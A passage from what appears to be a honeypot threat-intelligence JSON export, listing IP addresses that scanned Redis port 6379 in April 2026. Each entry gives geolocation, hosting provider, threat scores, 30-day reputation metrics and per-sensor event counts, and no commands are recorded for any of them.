      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-22T21:44:07.650000+00:00",
        "last_seen_30d": "2026-04-27T09:29:21.150000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "175.178.24.123": {
      "attack_count": 10,
      "first_seen": "2026-04-02T09:10:31.000Z",
      "last_seen": "2026-04-15T07:56:26.901Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 10.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-02T09:11:33.880000+00:00",
        "last_seen_30d": "2026-04-15T07:56:26.901000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "18.221.179.104": {
      "attack_count": 10,
      "first_seen": "2026-04-05T02:03:38.000Z",
      "last_seen": "2026-04-07T02:07:15.546Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 76.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 444,
        "days_active_30d": 30,
        "ports_targeted_30d": 189,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-01T00:54:11.202000+00:00",
        "last_seen_30d": "2026-04-30T17:02:51.565000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 444
      }
    },
    "3.15.232.67": {
      "attack_count": 10,
      "first_seen": "2026-04-14T02:07:53.000Z",
      "last_seen": "2026-04-27T00:59:33.667Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 64.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 24.6,
        "persistence": 15.0,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 287,
        "days_active_30d": 18,
        "ports_targeted_30d": 159,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-13T08:08:51.251000+00:00",
        "last_seen_30d": "2026-04-30T16:53:45.994000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 287
      }
    },
    "34.140.131.154": {
      "attack_count": 10,
      "first_seen": "2026-04-29T14:24:46.000Z",
      "last_seen": "2026-04-29T14:26:19.982Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-29T14:25:55.018000+00:00",
        "last_seen_30d": "2026-04-29T14:26:19.982000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "35.233.67.81": {
      "attack_count": 10,
      "first_seen": "2026-04-29T06:42:50.000Z",
      "last_seen": "2026-04-29T08:15:39.244Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 5,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-29T06:44:26.764000+00:00",
        "last_seen_30d": "2026-04-29T15:37:50.004000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3
      }
    },
    "4.236.37.204": {
      "attack_count": 10,
      "first_seen": "2026-04-22T04:05:41.000Z",
      "last_seen": "2026-04-22T04:06:45.922Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T04:05:42+00:00",
        "last_seen_30d": "2026-04-22T04:06:45.922000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "104.154.62.21": {
      "attack_count": 9,
      "first_seen": "2026-04-09T14:17:04.000Z",
      "last_seen": "2026-04-09T14:18:11.167Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T14:17:04+00:00",
        "last_seen_30d": "2026-04-09T14:18:11.167000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "107.174.64.157": {
      "attack_count": 9,
      "first_seen": "2026-04-25T04:17:48.000Z",
      "last_seen": "2026-04-25T04:18:56.705Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T04:17:48+00:00",
        "last_seen_30d": "2026-04-25T04:18:56.705000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "109.105.210.67": {
      "attack_count": 9,
      "first_seen": "2026-04-27T00:00:14.000Z",
      "last_seen": "2026-04-27T00:01:16.014Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 73.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.4,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 137,
        "days_active_30d": 27,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T01:24:43+00:00",
        "last_seen_30d": "2026-04-28T11:22:54.401000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 57,
        "Redishoneypot": 3
      }
    },
    "120.53.106.134": {
      "attack_count": 9,
      "first_seen": "2026-04-11T23:38:42.000Z",
      "last_seen": "2026-04-11T23:39:52.430Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T23:38:42+00:00",
        "last_seen_30d": "2026-04-11T23:39:52.430000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "147.185.132.78": {
      "attack_count": 9,
      "first_seen": "2026-04-20T04:12:15.000Z",
      "last_seen": "2026-04-20T04:13:53.863Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 83.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 28,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T05:07:18.654000+00:00",
        "last_seen_30d": "2026-04-28T22:37:54.841000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 81,
        "Honeytrap": 30,
        "Cowrie": 6,
        "Adbhoney": 4,
        "Redishoneypot": 3,
        "Dionaea": 2
      }
    },
    "16.146.80.64": {
      "attack_count": 9,
      "first_seen": "2026-04-03T11:12:57.000Z",
      "last_seen": "2026-04-03T11:14:22.550Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boardman",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T11:12:58+00:00",
        "last_seen_30d": "2026-04-03T11:14:22.550000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "198.235.24.47": {
      "attack_count": 9,
      "first_seen": "2026-04-28T02:30:51.000Z",
      "last_seen": "2026-04-28T02:32:29.663Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 30,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T23:38:28+00:00",
        "last_seen_30d": "2026-04-30T21:50:05.149000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 16,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "198.235.24.80": {
      "attack_count": 9,
      "first_seen": "2026-04-23T23:19:27.000Z",
      "last_seen": "2026-04-23T23:21:05.027Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 79.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 29,
        "ports_targeted_30d": 30,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T07:45:16.252000+00:00",
        "last_seen_30d": "2026-04-30T08:10:56.681000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 26,
        "Redishoneypot": 3
      }
    },
    "20.235.199.122": {
      "attack_count": 9,
      "first_seen": "2026-04-01T23:05:57.000Z",
      "last_seen": "2026-04-01T23:07:07.010Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T23:05:57+00:00",
        "last_seen_30d": "2026-04-01T23:07:07.010000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "211.154.194.36": {
      "attack_count": 9,
      "first_seen": "2026-04-14T04:07:31.000Z",
      "last_seen": "2026-04-14T04:08:41.759Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T04:07:31+00:00",
        "last_seen_30d": "2026-04-14T04:08:41.759000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "51.8.231.189": {
      "attack_count": 9,
      "first_seen": "2026-04-13T03:57:00.000Z",
      "last_seen": "2026-04-13T03:58:05.655Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T03:57:00+00:00",
        "last_seen_30d": "2026-04-13T03:58:05.655000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "20.70.200.3": {
      "attack_count": 8,
      "first_seen": "2026-04-12T15:32:15.000Z",
      "last_seen": "2026-04-26T08:29:29.116Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 46.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.9,
        "persistence": 12.5,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 15,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-12T07:56:04.512000+00:00",
        "last_seen_30d": "2026-04-26T08:29:29.116000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 39
      }
    },
    "34.193.119.44": {
      "attack_count": 8,
      "first_seen": "2026-04-04T12:35:57.000Z",
      "last_seen": "2026-04-22T19:01:23.713Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 80.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 210,
        "days_active_30d": 28,
        "ports_targeted_30d": 81,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T03:17:48.611000+00:00",
        "last_seen_30d": "2026-04-28T21:03:40.280000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 185,
        "Honeytrap": 20,
        "ConPot": 3,
        "Dionaea": 2
      }
    },
    "115.64.43.227": {
      "attack_count": 6,
      "first_seen": "2026-04-17T02:46:32.000Z",
      "last_seen": "2026-04-17T02:47:39.911Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Canberra",
      "asn": 7545,
      "as_org": "TPG Telecom Limited",
      "threat_score": 18.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 14,
        "spread": 5,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-16T11:11:41.529000+00:00",
        "last_seen_30d": "2026-04-17T02:54:26.976000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16
      }
    },
    "134.199.160.198": {
      "attack_count": 6,
      "first_seen": "2026-04-13T08:25:10.000Z",
      "last_seen": "2026-04-13T08:26:15.285Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.3,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 54,
        "days_active_30d": 1,
        "ports_targeted_30d": 54,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-13T08:26:09.385000+00:00",
        "last_seen_30d": "2026-04-13T08:26:51.104000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54
      }
    },
    "170.64.196.209": {
      "attack_count": 6,
      "first_seen": "2026-04-27T07:35:20.000Z",
      "last_seen": "2026-04-27T07:36:21.978Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 39.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.8,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 60,
        "days_active_30d": 1,
        "ports_targeted_30d": 60,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-27T07:36:21.008000+00:00",
        "last_seen_30d": "2026-04-27T07:37:02.790000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60
      }
    },
    "68.183.96.183": {
      "attack_count": 6,
      "first_seen": "2026-04-11T04:34:05.000Z",
      "last_seen": "2026-04-11T04:35:41.625Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 2,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-10T14:55:06.165000+00:00",
        "last_seen_30d": "2026-04-11T06:58:02.317000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28
      }
    },
    "106.55.63.187": {
      "attack_count": 5,
      "first_seen": "2026-04-03T05:00:59.000Z",
      "last_seen": "2026-04-03T05:02:09.488Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 0.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-03T05:02:09.488000+00:00",
        "last_seen_30d": "2026-04-03T05:02:09.488000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "120.48.2.240": {
      "attack_count": 5,
      "first_seen": "2026-04-24T10:18:51.000Z",
      "last_seen": "2026-04-24T10:20:00.572Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-24T10:20:00.572000+00:00",
        "last_seen_30d": "2026-04-24T10:20:00.572000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "139.186.131.64": {
      "attack_count": 5,
      "first_seen": "2026-04-10T11:38:24.000Z",
      "last_seen": "2026-04-10T11:39:34.676Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Chongqing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-10T11:39:34.676000+00:00",
        "last_seen_30d": "2026-04-10T11:39:34.676000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "14.153.174.92": {
      "attack_count": 5,
      "first_seen": "2026-04-30T03:53:03.000Z",
      "last_seen": "2026-04-30T03:54:43.361Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Huizhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-30T03:54:43.361000+00:00",
        "last_seen_30d": "2026-04-30T03:54:43.361000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "143.198.116.102": {
      "attack_count": 5,
      "first_seen": "2026-04-08T12:01:28.000Z",
      "last_seen": "2026-04-08T12:03:10.686Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 2,
        "ports_targeted_30d": 22,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-08T09:52:36.505000+00:00",
        "last_seen_30d": "2026-04-09T04:45:52.573000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22
      }
    },
    "157.230.179.248": {
      "attack_count": 5,
      "first_seen": "2026-04-30T07:46:03.000Z",
      "last_seen": "2026-04-30T07:47:04.235Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 60.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 67527,
        "days_active_30d": 1,
        "ports_targeted_30d": 67234,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T06:38:38+00:00",
        "last_seen_30d": "2026-04-30T14:40:30.379000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 64905,
        "Honeytrap": 2622
      }
    },
    "159.223.125.170": {
      "attack_count": 5,
      "first_seen": "2026-04-24T16:44:45.000Z",
      "last_seen": "2026-04-24T16:46:24.629Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 34.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 2,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-04-24T03:11:39.519000+00:00",
        "last_seen_30d": "2026-04-25T03:25:57.576000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29
      }
    },
    "173.255.242.196": {
      "attack_count": 5,
      "first_seen": "2026-04-11T12:35:20.000Z",
      "last_seen": "2026-04-11T12:36:27.009Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
